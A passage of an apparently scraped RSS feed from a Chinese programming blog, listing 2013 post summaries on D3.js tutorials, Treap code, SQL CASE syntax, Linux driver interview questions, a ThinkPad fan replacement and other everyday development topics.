source:8,target:9,weight:4,color:1} ] }; 2. 力布局 转化数据为适合生成力导向图的对象数组</description>
    </item>
    <item>
      <title>【D3.js数据可视化系列教程】（十八）--组合添加删除</title>
      <link>https://bchobby.github.io/posts/bc39c12a8f9cc3b92d9bcaeeb48053cd/</link>
      <pubDate>Sat, 02 Nov 2013 21:03:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc39c12a8f9cc3b92d9bcaeeb48053cd/</guid>
      <description>最后效果：&#xA;单击更新能实现像之前那样的更新了。&#xA;但是，单击添加和删除时，只能捕获第一个p标签，不能捕获第二个。&#xA;1. 根据ID确定点击的是哪个标签 var paragraphID=d3.select(this).attr(&#34;id&#34;) ; 2. 添加删除组合起来 if(paragraphID==&#34;add&#34;){ 3. 根据最后一个key添加一个值 var lastKeyValue=dataset[dataset.length-1].key; dataset.push({ key:lastKeyValue+1, value:newNumber }); 4. 根据i添加一个值 dataset.push({ key:i, value:newNumber });} 5. 1/2 值函数 var value=function(d){ return d.value; }; 6. 2/2// 更新比例尺，免使纵坐标超出范围 yScale.domain([0,d3.max(dataset,value)]);//只要更新定义域就行了，映射到的值域不变 &amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;testD3-18-update.html&amp;lt;/title&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;http://localhost:8080/spring/js/d3.v3.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;button&amp;gt;单击更新&amp;lt;/button&amp;gt; &amp;lt;br&amp;gt; &amp;lt;p id=&#34;remove&#34;&amp;gt;单击删除&amp;lt;/p&amp;gt; &amp;lt;p id=&#34;add&#34;&amp;gt;单击添加&amp;lt;/p&amp;gt; &amp;lt;br&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; //键值对数据集 var dataset = [ {key:0,value:5}, {key:1,value:10}, {key:2,value:13}, {key:3,value:19}, {key:4,value:21}, {key:5,value:25}, {key:6,value:22}, {key:7,value:18}, {key:8,value:15}, {key:9,value:13}, {key:10,value:11}, {key:11,value:12}, {key:12,value:15}, {key:13,value:20}, {key:14,value:18}, {key:15,value:17}, {key:16,value:16}, {key:17,value:18}, {key:18,value:23}, {key:19,value:25}]; //设置SVG的高宽 var w=600; var h=250; var barPadding = 1; //定义序数比例尺 var xScale=d3.</description>
    </item>
    <item>
      <title>【D3.js数据可视化系列教程】（十六）--更新、过度和动画</title>
      <link>https://bchobby.github.io/posts/c0c4201c755f92c01822adf85f2201ff/</link>
      <pubDate>Fri, 01 Nov 2013 20:53:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0c4201c755f92c01822adf85f2201ff/</guid>
      <description>&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;testD3-18-update.html&amp;lt;/title&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;http://localhost:8080/spring/js/d3.v3.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;button&amp;gt;单击更新&amp;lt;/button&amp;gt; &amp;lt;br&amp;gt; &amp;lt;p&amp;gt;单击添加&amp;lt;/p&amp;gt; &amp;lt;br&amp;gt; &amp;lt;a&amp;gt;单击删除&amp;lt;/a&amp;gt; &amp;lt;br&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; //(1) 准备数据集 var dataset = [ 5, 10, 13, 19, 21, 25, 22, 18, 15, 13, 11, 12, 15, 20, 18, 17, 16, 18, 23, 25 ]; //(2) 设置SVG的高宽 var w=600; var h=250; var barPadding = 1; //(3) 定义比例尺 var xScale=d3.scale.ordinal()// x是序数比例尺 .domain(d3.range(dataset.length)) .rangeRoundBands([0,w],0.05); var yScale=d3.scale.linear()// y仍然是线性比例尺 .domain([0,d3.max(dataset)]) .range([0,h]); //(4) 创建SVG元素 var svg = d3.</description>
    </item>
    <item>
      <title>thinkpad x200 自己更换风扇的步骤和更换后的调整</title>
      <link>https://bchobby.github.io/posts/dbb45f4c1d48cb5a7d11399713cb96ca/</link>
      <pubDate>Fri, 25 Oct 2013 23:21:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dbb45f4c1d48cb5a7d11399713cb96ca/</guid>
      <description>买了3年的x200的风扇终于残了。&#xA;其实早就有问题了，开始是转速慢，然后发展成声音特别大，后来是必须嘴吹以下作为初始启动力，如此种种。&#xA;联想做活动的时候还那去免费清洗了下，回来发现其实就管两天，然后问题依旧。&#xA;终于下定决心换。4S店换一个风扇400，淘宝买一个自己换25，所以直接从taobao买了俩。&#xA;换之前还得准备下。&#xA;第一是找个好的手动更换风扇的教程，拆解教程也行，操作时按图索骥。推荐这个：http://wenku.baidu.com/view/549d9846b307e87101f696ba.html&#xA;图文并茂，很详细。每一个步骤都有编号，其实这个很好。工具只要有一个小的十字螺丝刀就行了。千万别指望用要换风扇的这台电脑看教程。。。。。哈哈，这是笑话。&#xA;第二，一定要记住把所有的螺丝收拾好。一共有3～5种螺丝，不能混用，所以要分类放好。如果最后安装完了再多出来几个可就。。。。。个人认为最好的办法是：找一些纸袋，上面写上步骤编号，然后把每一步拆下的螺丝放入对应编号的袋子里，就完全不会错了。当然，用胶带粘什么的也行。&#xA;拆机和更换的过程基本没什么悬念，教程上写的很详细，个人感觉唯一需要注意的是拆装饰框的时候要小心，因为这玩意儿非常细，很脆弱，卡扣又比较结实，需要很耐心地水平方向慢慢往外撬。&#xA;换了风扇后我遇到一个问题：启动的时候风扇不转，及时运行过程中温度上升也不转，必须在温度上升后再重新启动，此时会报一个“fan error”错误，然后自动关机。再启动一次就好了。上网找了不少资料查原因，最后感觉可能是因为风扇是山寨的，要不传感器不行，要不电机不行，要不需要的启动电流过大，反正第一次启动的时候bios检测到的风扇转速不对，而那时系统温度还不高，所以风扇不转也启动了。&#xA;解决的办法就是去下一个软件“TPFanControl”来控制风扇。&#xA;但是试验了几次，貌似也不好使。最后，重装了win7，重启了5次，貌似还没问题。从这里看似乎是因为山寨风扇和原装风扇在系统中识别的并不相同吧。</description>
    </item>
    <item>
      <title>eclipse 中ctrl加f模糊匹配失效的问题</title>
      <link>https://bchobby.github.io/posts/b50aa039825af3daf932ef04086fd18f/</link>
      <pubDate>Sun, 20 Oct 2013 20:00:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b50aa039825af3daf932ef04086fd18f/</guid>
      <description>eclipse中Ctrl+F查找功能，某天突然不能模糊匹配了，并且Ctrl+F面板中没有了原来的option，&#xA;用着好不方便，网上有说人需要重装eclipse，今天突然发现其实是我们犯2了，&#xA;Ctrl+F面板中的option并没有消失，只是面板变小了，把面板按右下角拖大一些就出来了。&#xA;纠结于Ctrl+F功能失效的同学，看到这个有没有什么想法？</description>
    </item>
    <item>
      <title>F28335_DMA使用</title>
      <link>https://bchobby.github.io/posts/9b60ba199e34450ae2782d37a1827e76/</link>
      <pubDate>Mon, 14 Oct 2013 14:55:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b60ba199e34450ae2782d37a1827e76/</guid>
      <description>void DMACH1AddrConfig(volatile Uint16 *DMA_Dest,volatile Uint16 *DMA_Source)&#xA;源地址有两个，一个A为用于传输时（随每个字节递增），另一个B作为返回的备份（当一帧结束后，重新装载入A）&#xA;目的地址有两个，一个A为用于传输时（随每个字节递增），另一个B作为返回的备份（当一帧结束后，重新装载入A）&#xA;每次启动DMA相应通道，都会把B装载入A&#xA;void DMACH1BurstConfig(Uint16 bsize, int16 srcbstep, int16 desbstep)&#xA;Bsize： 每一个脉冲传递的字的个数，实际脉冲数为bsize+1&#xA;Srcbstep：每传递一个字后，源地址A增量&#xA;Desbstep：每传递一个字后，目的地址A增量&#xA;void DMACH1TransferConfig(Uint16 tsize, int16 srctstep, int16 deststep)&#xA;Tsize：每一帧的脉冲个数，脉冲递减到0时（即一帧传递完成，也是DMA传递完成），产生DMA中断。实际帧数为tsize+1&#xA;Srctstep：每个脉冲的最后一个字传递结束后，源地址A增量&#xA;Deststep：每个脉冲的最后一个字传递结束后，目的地址A增量&#xA;void DMACH1WrapConfig(Uint16 srcwsize, int16 srcwstep, Uint16 deswsize, int16 deswstep)&#xA;Srcwsize：当已经传递的脉冲数为srcwsize+1的整数倍时，源地址（B）增加srcwstep（常为0），并装载入源地址A&#xA;Deswsize：当已经传递的脉冲数为deswsize+1的整数倍时，目的地址（B）增加deswstep（常为0），并装载入目的地址A&#xA;void DMACH1ModeConfig(Uint16 persel, Uint16 perinte, Uint16 oneshot, Uint16 cont, Uint16 synce, Uint16 syncsel, Uint16 ovrinte, Uint16 datasize, Uint16 chintmode, Uint16 chinte)&#xA;Persel：选择触发DMA的外设中断源&#xA;Perinte：外设中断使能，&#xA;Oneshot：使能时，外设产生一次中断，就能够把一帧传递完。禁止，外设产生一次中断，只能传递一个脉冲&#xA;Cont：使能时，每次DMA结束后，需要再次启动DMA时，就不需要调用void StartDMACH1(void)。禁止时，重启DMA，需要调用void StartDMACH1(void)&#xA;Datasize:设置每个字是16位或者32位</description>
    </item>
    <item>
      <title>2014-百度 阿里 华为笔试题</title>
      <link>https://bchobby.github.io/posts/c34a7af363e1e43baa1b502851e9ca2d/</link>
      <pubDate>Sat, 12 Oct 2013 13:36:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c34a7af363e1e43baa1b502851e9ca2d/</guid>
      <description>8月15日，百度2道面试题：&#xA;1、来自《编程之美》的概率题：一个桶里面有白球、黑球各100个，现在按下述规则取球：的&#xA;i 、每次从通里面拿出来两个球；&#xA;ii、如果取出的是两个同色的求，就再放入一个黑球；&#xA;ii、如果取出的是两个异色的求，就再放入一个白球。&#xA;问：最后桶里面只剩下一个黑球的概率是多少？&#xA;2、算法题：给你一个自然数N，求[6,N]之内的所有素数中，两两之和为偶数的那些偶数。&#xA;9月5日，华为2014校园招聘的机试题目&#xA;通过键盘输入一串小写字母(a~z)组成的字符串。请编写一个字符串压缩程序，将字符串中连续出席的重复字母进行压缩，并输出压缩后的字符串。&#xA;压缩规则：&#xA;1、仅压缩连续重复出现的字符。比如字符串&#34;abcbc&#34;由于无连续重复字符，压缩后的字符串还是&#34;abcbc&#34;。&#xA;2、压缩字段的格式为&#34;字符重复的次数+字符&#34;。例如：字符串&#34;xxxyyyyyyz&#34;压缩后就成为&#34;3x6yz&#34;。&#xA;要求实现函数： void stringZip(const char *pInputStr, long lInputLen, char *pOutputStr);&#xA;输入pInputStr： 输入字符串lInputLen： 输入字符串长度&#xA;输出 pOutputStr： 输出字符串，空间已经开辟好，与输入字符串等长；&#xA;注意：只需要完成该函数功能算法，中间不需要有任何IO的输入输出&#xA;示例 输入：“cccddecc” 输出：“3c2de2c”&#xA;输入：“adef” 输出：“adef”&#xA;输入：“pppppppp” 输出：“8p”&#xA;9月6日，网新恒天2014校园招聘笔试编程题&#xA;已知memcpy的函数为： void* memcpy(void *dest , const void* src , size_t count)其中dest是目的指针，src是源指针。不调用c++/c的memcpy库函数，请编写memcpy。&#xA;点评：老题，参考答案如下 //copyright@July 2013/9/24 void* memcpy(void *dst, const void *src, size_t count) { //安全检查 assert( (dst != NULL) &amp;amp;&amp;amp; (src != NULL) ); unsigned char *pdst = (unsigned char *)dst; const unsigned char *psrc = (const unsigned char *)src; //防止内存重复 assert(!</description>
    </item>
    <item>
      <title>驱动题1</title>
      <link>https://bchobby.github.io/posts/4a63ae5309f4153b35741606fe9a093a/</link>
      <pubDate>Fri, 27 Sep 2013 12:24:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4a63ae5309f4153b35741606fe9a093a/</guid>
      <description>1) Linux中主要有哪几种内核锁？ 2) Linux中的用户模式和内核模式是什么含意？ 3) 怎样申请大块内核内存？ 4) 用户进程间通信主要哪几种方式？ 5) 通过伙伴系统申请内核内存的函数有哪些？ 6) 通过slab分配器申请内核内存的函数有？ 7) Linux的内核空间和用户空间是如何划分的（以32位系统为例）？ 8) vmalloc()申请的内存有什么特点？ 9) 用户程序使用malloc()申请到的内存空间在什么范围？ 10) 在支持并使能MMU的系统中，Linux内核和用户程序分别运行在物理地址模式还是虚拟地址模式？ 11) ARM处理器是通过几级也表进行存储空间映射的？ 12) Linux是通过什么组件来实现支持多种文件系通的？ 13) Linux虚拟文件系统的关键数据结构有哪些？（至少写出四个） 14) 对文件或设备的操作函数保存在那个数据结构中？ 15) Linux中的文件包括哪些？ 16) 创建进程的系统调用有那些？ 17) 调用schedule()进行进程切换的方式有几种？ 18) Linux调度程序是根据进程的动态优先级还是静态优先级来调度进程的？ 19) 进程调度的核心数据结构是哪个？ 20) 如何加载、卸载一个模块？ 21) 模块和应用程序分别运行在什么空间？ 22) Linux中的浮点运算由应用程序实现还是内核实现？ 23) 模块程序能否使用可链接的库函数？ 24) TLB中缓存的是什么内容？ 25) Linux中有哪几种设备？ 26) 字符设备驱动程序的关键数据结构是哪个？ 27) 设备驱动程序包括哪些功能函数？ 28) 如何唯一标识一个设备？ 29) Linux通过什么方式实现系统调用？ 30) Linux软中断和工作队列的作用是什么？ 转载于 http://blog.chinaunix.net/u3/118354/showart_2311237.html 1. Linux中主要有哪几种内核锁？&#xA;Linux的同步机制从2.0到2.6以来不断发展完善。从最初的原子操作，到后来的信号量，从大内核锁到今天的自旋锁。这些同步机制的发展伴随Linux从单处理器到对称多处理器的过渡；&#xA;伴随着从非抢占内核到抢占内核的过度。Linux的锁机制越来越有效，也越来越复杂。&#xA;Linux的内核锁主要是自旋锁和信号量。&#xA;自旋锁最多只能被一个可执行线程持有，如果一个执行线程试图请求一个已被争用（已经被持有）的自旋锁，那么这个线程就会一直进行忙循环——旋转——等待锁重新可用。要是锁未被争用，请求它的执行线程便能立刻得到它并且继续进行。自旋锁可以在任何时刻防止多于一个的执行线程同时进入临界区。&#xA;Linux中的信号量是一种睡眠锁。如果有一个任务试图获得一个已被持有的信号量时，信号量会将其推入等待队列，然后让其睡眠。这时处理器获得自由去执行其它代码。当持有信号量的进程将信号量释放后，在等待队列中的一个任务将被唤醒，从而便可以获得这个信号量。</description>
    </item>
    <item>
      <title>c#使用office的墨迹书写工具</title>
      <link>https://bchobby.github.io/posts/760ce6fa54202f5de375a2c60cec0c67/</link>
      <pubDate>Tue, 17 Sep 2013 14:37:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/760ce6fa54202f5de375a2c60cec0c67/</guid>
      <description>1.墨迹书写工具是office的一个批注功能，在office的07及以上版本可以使用。首先需要在office中开启墨迹书写工具。 方法是&#xA;2.在加入墨迹书写工具后，在菜单栏上会出现笔的选项&#xA;点击进入&#xA;但你会发现你的笔，荧光笔，橡皮，选择对象都是不可用的，要达到上图的可用的状态需要做如下操作，因为该功能本事是微软用于其tablePC的，在普通pc机器上不可使用。&#xA;我们做如下激活。需要下载该链接里的文件，按照说明激活。&#xA;http://down.51cto.com/data/1081617&#xA;3.有了墨迹书写工具我们在c#里该如何使用呢？&#xA;以下是我本人写的代码，请参照&#xA;http://down.51cto.com/data/1081618</description>
    </item>
    <item>
      <title>SQL中的Case When Else End的用法</title>
      <link>https://bchobby.github.io/posts/5327a70ad49559beb7d94c0cbd948a0f/</link>
      <pubDate>Mon, 16 Sep 2013 15:31:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5327a70ad49559beb7d94c0cbd948a0f/</guid>
      <description>最近在对hive做优化时遇到了Case When Else End语法，所以就总结一下相关的知识给大家分享一下，&#xA;具体的格式如下：&#xA;条件判断语句 update：&#xA;update table set 字段1=case when 条件1 then 值1 when 条件2 then 值2 else 值3 end where …… select：&#xA;select 字段1, 字段2, case 字段3 when 值1 then 新值 when 值2 then 新值 end as 重新命名字段3的名字 from table where …… order by …… CASE 可能是 SQL 中被误用最多的关键字之一。虽然你可能以前用过这个关键字来创建字段，但是它还具有更多用法。例如，你可以在 WHERE 子句中使用CASE。 首先让我们看一下 CASE 的语法。在一般的 SELECT 中，其语法如下： SELECT &amp;lt;myColumnSpec&amp;gt; = CASE WHEN &amp;lt;A&amp;gt; THEN &amp;lt;somethingA&amp;gt; WHEN &amp;lt;B&amp;gt; THEN &amp;lt;somethingB&amp;gt; ELSE &amp;lt;somethingE&amp;gt; END 在上面的代码中需要用具体的参数代替尖括号中的内容。</description>
    </item>
    <item>
      <title>【D3.js数据可视化系列教程】--（二）最简单的开始：添加元素</title>
      <link>https://bchobby.github.io/posts/9b056e5ec9171a18bfdeb21cd097258c/</link>
      <pubDate>Sat, 07 Sep 2013 15:42:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b056e5ec9171a18bfdeb21cd097258c/</guid>
      <description>1. 添加元素语法： [selection].append(&#34;p&#34;); 2. 怎么做？ 将D3.js解压到桌面，同时在桌面创建一个index.html&#xA;&amp;lt;html&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;utf-8&#34;&amp;gt; &amp;lt;title&amp;gt;D3测试&amp;lt;/title&amp;gt; &amp;lt;script type=&#34;text/javascript&#34; src=&#34;d3.js&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;script type=&#34;text/javascript&#34;&amp;gt; d3.select(&#34;body&#34;).append(&#34;p&#34;).text(&#34;New paragraph!&#34;); &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 3. 效果： 4. 代码解释： 引用D3所在路径 &amp;lt;script type=&#34;text/javascript&#34; src=&#34;d3.js&#34;&amp;gt;&amp;lt;/SCRIPT&amp;gt; 选择body标签，为之添加一个p标签，并设置它的内容为New paragraph！ d3.select(&#34;body&#34;).append(&#34;p&#34;).text(&#34;New paragraph!&#34;); 你可以将链接选择换行，这样代码结构更清晰 d3.select(&#34;body&#34;) .append(&#34;p&#34;) .text(&#34;New paragraph!&#34;); 当然，也可以避免使用链接语法： var body = d3.select(&#34;body&#34;); var p = body.append(&#34;p&#34;); p.text(&#34;New paragraph!&#34;); 以后，你也可以把这些页面和JS部署到你自己的服务器中。我们之后的示例都将部署到服务器，并使用Chrome浏览器演示！！</description>
    </item>
    <item>
      <title>Treap原理和实现方法</title>
      <link>https://bchobby.github.io/posts/2f962dba2c8f7711b6b86b8f92db150d/</link>
      <pubDate>Sat, 07 Sep 2013 14:11:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f962dba2c8f7711b6b86b8f92db150d/</guid>
      <description>Treap是一棵二叉搜索树，只是每个节点多了一个优先级fix，对于每个节点，该节点的优先级小于等于其所有孩子的优先级。&#xA;当然，引入优先级fix的目的就是防止BST退化成一条链，从而影响查找效率。&#xA;所以，这样看来就是：Treap中对于节点的关键字key来说，它是一棵二叉搜索树，而对于fix来说，它是一个最小堆，所以&#xA;Treap可以看成是Tree+Heap，只是这里的Heap不一定是完全二叉树。Treap的平均时间复杂度为log(n).&#xA;Treap跟笛卡尔树几乎是一模一样的，只是用途不同。&#xA;笛卡尔树是把已有的一些（key, fix）二元组拿来构造树，然后利用构树过程和构造好的树来解决LCA,RMQ等等问题。而&#xA;Treap的目的只是对一些key进行二叉搜索，但是为了保证树的平衡性，为每个key随机地额外增加了一个fix属性，这样从概&#xA;率上来讲可以让这棵树更加平衡。&#xA;对于Treap来说，主要有几大操作：插入，删除，查找，旋转，找第K大元素，找关键字x的排名，计算Treap的高度，删除&#xA;Treap，其它的操作比如合并，分离，反转等等以后再说，另外，对于Treap来说，它的中序遍历的结果就是按照关键字从小到&#xA;大的顺序排列的。&#xA;下面用一个题来看看Treap的各种操作。&#xA;题目：http://poj.org/problem?id=1442&#xA;题意：给一个序列，然后给出m个查询，每次查询输入一个数x，对于第i次查询，输出前x个数中第i大的关键字的值。&#xA;分析：我们可以用其它数据结构解决，这里我们先学用Treap怎么做吧，方法就是：每次我们都插入前x个数中没有插过的，当&#xA;然程序中我们用index来划分界限，然后输出Kth(root,i)即可。&#xA;#include &amp;lt;iostream&amp;gt;&#xD;#include &amp;lt;string.h&amp;gt;&#xD;#include &amp;lt;stdlib.h&amp;gt;&#xD;#include &amp;lt;stdio.h&amp;gt;&#xD;using namespace std;&#xD;struct Treap&#xD;{&#xD;int size;&#xD;int key,fix;&#xD;Treap *ch[2];&#xD;Treap(int key)&#xD;{&#xD;size=1;&#xD;fix=rand();&#xD;this-&amp;gt;key=key;&#xD;ch[0]=ch[1]=NULL;&#xD;}&#xD;int compare(int x) const&#xD;{&#xD;if(x==key) return -1;&#xD;return x&amp;lt;key? 0:1;&#xD;}&#xD;void Maintain()&#xD;{&#xD;size=1;&#xD;if(ch[0]!=NULL) size+=ch[0]-&amp;gt;size;&#xD;if(ch[1]!=NULL) size+=ch[1]-&amp;gt;size;&#xD;}&#xD;};&#xD;void Rotate(Treap* &amp;amp;t,int d)&#xD;{&#xD;Treap *k=t-&amp;gt;ch[d^1];&#xD;t-&amp;gt;ch[d^1]=k-&amp;gt;ch[d];&#xD;k-&amp;gt;ch[d]=t;&#xD;t-&amp;gt;Maintain(); //必须先维护t，再维护k，因为此时t是k的子节点&#xD;k-&amp;gt;Maintain();&#xD;t=k;&#xD;}&#xD;void Insert(Treap* &amp;amp;t,int x)&#xD;{&#xD;if(t==NULL) t=new Treap(x);&#xD;else&#xD;{&#xD;//int d=t-&amp;gt;compare(x); //如果值相等的元素只插入一个&#xD;int d=x &amp;lt; t-&amp;gt;key ?</description>
    </item>
    <item>
      <title>使用CCTMXTiledMap出错的问题！</title>
      <link>https://bchobby.github.io/posts/a952439bf2676e794eac7ad65e1be4a4/</link>
      <pubDate>Sun, 01 Sep 2013 00:03:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a952439bf2676e794eac7ad65e1be4a4/</guid>
      <description> 之前碰到一个文件采用第一种加载方式时，如果地图文件以及相对应的图块文件放在资源文件中的另一个文件下，比如map文件夹下时，会发生错误，找不到图块文件，因为源码依然实在资源文件下找。&#xA;这种情况下，比如对资源进行分类，把地图文件单独放到一个文件夹下，就要用到第二种加载方式了&#xA;//创建一个CCTMXTiledMap(第一种加载方式) CCTMXTiledMap *bgMap = CCTMXTiledMap::create(&#34;tiledMap\\background.tmx&#34;); //创建一个CCTMXTiledMap(第二种加载方式) std::string resources = &#34;TileMap&#34;; std::string file = resources + &#34;/orthogonal-test1.tmx&#34;; CCString* str = CCString::createWithContentsOfFile(CCFileUtils::sharedFileUtils()-&amp;gt;fullPathForFilename(file.c_str()).c_str()); //create参数说明：资源文件全路径，资源路径目录 CCTMXTiledMap *map = CCTMXTiledMap::createWithXML(str-&amp;gt;getCString() ,resources.c_str()); 另外tiledMap不支持bmp的图块图片，每一个layer不能为空，必须有一个图块填充，不然也会报内存错误! </description>
    </item>
    <item>
      <title>Java 程式設計 -- Callback 與 Listener 機制</title>
      <link>https://bchobby.github.io/posts/bc264de4a4f3b87e576447f2b86bbd76/</link>
      <pubDate>Wed, 28 Aug 2013 11:41:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bc264de4a4f3b87e576447f2b86bbd76/</guid>
      <description>转自：《http://ccckmit.wikidot.com/ja:listener》&#xA;專案下載：Listener.zip&#xA;簡介 在 Java 當中沒有像 C# 當中的委派 (delegate) 語法，所有的委派任務都交由一種稱為 Listener 的物件完成，其實作方法乃是利用 Register - Callback 的反向呼叫機制，為了說明這個機制的原理，我們撰寫了以下的程式，以便說明 Listener - Callback 的實作原理。&#xA;程式範例 檔案：Listener.java&#xA;interface Listener { void onEvent(String str); } 檔案：EventListener.java&#xA;public class EventListener implements Listener { String name; public EventListener(String name) { this.name = name; } public void onEvent(String str) { System.out.println(name+&#34;:&#34;+str); } } 檔案：Callback.java&#xA;import java.util.*; public class Callback { List&amp;lt;Listener&amp;gt; listeners = new ArrayList&amp;lt;Listener&amp;gt;(); public static void main(String[] args) { Callback callback = new Callback(); callback.</description>
    </item>
    <item>
      <title>利用xpath获取节点值实例</title>
      <link>https://bchobby.github.io/posts/9261c3da8c5f5ab6dfb2b3a13a28bf8b/</link>
      <pubDate>Tue, 27 Aug 2013 12:01:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9261c3da8c5f5ab6dfb2b3a13a28bf8b/</guid>
      <description>这几天做xml打包、解包的通用工具，学习了下xpath的使用方法，它可以很方便查询某一节点的值，有点类似于jquery的选择器，具体事例如下：&#xA;public String queryNodeValue(final Document doc, String expression) throws XPathExpressionException { XPathFactory factory = XPathFactory.newInstance(); XPath xpath = factory.newXPath(); xpath.setNamespaceContext(new NamespaceContext() { @SuppressWarnings(&#34;rawtypes&#34;) @Override public Iterator getPrefixes(String namespaceURI) { throw new UnsupportedOperationException(); } @Override public String getPrefix(String namespaceURI) { throw new UnsupportedOperationException(); } @Override public String getNamespaceURI(String prefix) { return doc.lookupNamespaceURI(prefix); } }); XPathExpression expr = xpath.compile(expression); Object result = expr.evaluate(doc, XPathConstants.STRING); return result == null ? null : result.</description>
    </item>
    <item>
      <title>字符编码环境设置：setlocale函数</title>
      <link>https://bchobby.github.io/posts/eece569175213fcf44feadb36c1ae453/</link>
      <pubDate>Tue, 20 Aug 2013 01:43:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eece569175213fcf44feadb36c1ae453/</guid>
      <description>setlocale函数原形为： char *setlocale( int category, const char *locale ); 头文件：&amp;lt;locale.h&amp;gt;&#xA;所支持的操作系统为: Win 95, Win NT 对于简体中文可以使用如下设置：setlocale( LC_ALL, &#34;chs&#34; ); （编码ANSI） 调用setlocale原因：&#xA;在C/C++语言标准中定义了其运行时的字符集环境为&#34;C&#34;，是ASCII字符集的一个子集,mbstowcs在工作时会将cstr中所包含的字符串看作是ASCII编码的字符，而不认为是一个包含有chs编码的字符串，所以会将每一个中文拆成2个ASCII编码进行转换，结果是会形成4个wchar_t的字符组成的串。&#xA;通过调用setlocale( LC_ALL, &#34;chs&#34; )函数，告诉mbstowcs目前cstr串中包含的是chs编码的字符串.&#xA;这个函数会改变整个应用程序的字符集编码方式，需要调用setlocale( LC_ALL, &#34;C&#34; )函数来还原。&#xA;应用场景：&#xA;针对无法读取中文路径下的文件的问题，在解析配置文件前，加入一句： setlocale(LC_ALL,&#34;chs&#34;);即可。</description>
    </item>
    <item>
      <title>loadView&amp;nbsp;和&amp;nbsp;viewDidLoad&amp;nbsp;的区别</title>
      <link>https://bchobby.github.io/posts/675f4a27c1b51029a30b0bfee15115df/</link>
      <pubDate>Mon, 19 Aug 2013 18:17:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/675f4a27c1b51029a30b0bfee15115df/</guid>
      <description>loadView 和 viewDidLoad 是 iPhone 开发中肯定要用到的两个方法。 他们都可以用来在视图载入的时候初始化一些内容。 但是他们有什么区别呢？ viewDidLoad 方法只有当 view 从 nib 文件初始化的时候才被调用。viewDidLoad 用于初始化，加载时用到。&#xA;loadView 方法在控制器的 view 为 nil 的时候被调用。 此方法用于以编程的方式创建 view 的时候用到。loadView 是使用代码生成视图的时候，当视图第一次载入的时候调用的方法。用于使用（写）代码来实现控件。用于使用代码生成控件的函数。如：&#xA;- ( void ) loadView {&#xA;UIView *view = [ [ UIView alloc] initWithFrame:[ UIScreen&#xA;mainScreen] .applicationFrame] ;&#xA;[ view setBackgroundColor:_color] ;&#xA;self.view = view;&#xA;[ view release] ;&#xA;}&#xA;你在控制器中实现了 loadView 方法，那么你可能会在应用运行的某个时候被内存管理控制调用。 如果设备内存不足的时候， view 控制器会收到 didReceiveMemoryWarning 的消息。 默认的实现是检查当前控制器的 view 是否在使用。 如果它的 view 不在当前正在使用的 view hierarchy 里面，且你的控制器实现了 loadView 方法，那么这个 view 将被 release, loadView 方法将被再次调用来创建一个新的 view。</description>
    </item>
    <item>
      <title>MATLAB生成可执行文件</title>
      <link>https://bchobby.github.io/posts/08e2a680b9822ce05b30d50bc959992a/</link>
      <pubDate>Mon, 19 Aug 2013 14:22:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08e2a680b9822ce05b30d50bc959992a/</guid>
      <description>1.打开Deployment tool工具。&#xA;2.在其中新建project。&#xA;3.在“building”内选择*.m文件为主文件，其余文件为附加文件。&#xA;4.在package内选择要打包的文件，不要选择不需要打包的文件。开始我把源文件都选择了打包，结果，每次解包都要提示是否覆盖。&#xA;5.building --&amp;gt;package.&#xA;6.在distrib内，选择*.exe文件即可。&#xA;注意：&#xA;开始生产的打包文件fig界面总是一闪而过，后来发现，将设置背景写在了“function Dimage_OpeningFcn(hObject, eventdata, handles, varargin)”内导致，将设置背景写在“function varargout = Dimage_OutputFcn(hObject, eventdata, handles) ”内问题解决。</description>
    </item>
    <item>
      <title>【python】ascii codec can&#39;t decode byte 0xe8 in position 0:ordinal not in range(128)</title>
      <link>https://bchobby.github.io/posts/e451ead0089f488e0697a8727e26e522/</link>
      <pubDate>Wed, 14 Aug 2013 23:03:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e451ead0089f488e0697a8727e26e522/</guid>
      <description> 1．问题描述：一个在Django框架下使用Python编写的定时更新项目，在Windows系统下测试无误，在Linux系统下测试，报如下错误：&#xA;ascii codec can&#39;t decode byte 0xe8 in position 0:ordinal not in range(128)&#xA;2．原因分析：字符问题。在Windows系统转Linux系统时，字符问题很容易出现。&#xA;3．解决办法：在出现问题的页加上如下三行即可：&#xA;import sys reload(sys) sys.setdefaultencoding(&#39;utf-8&#39;) </description>
    </item>
    <item>
      <title>20130723 上海OOW第二日</title>
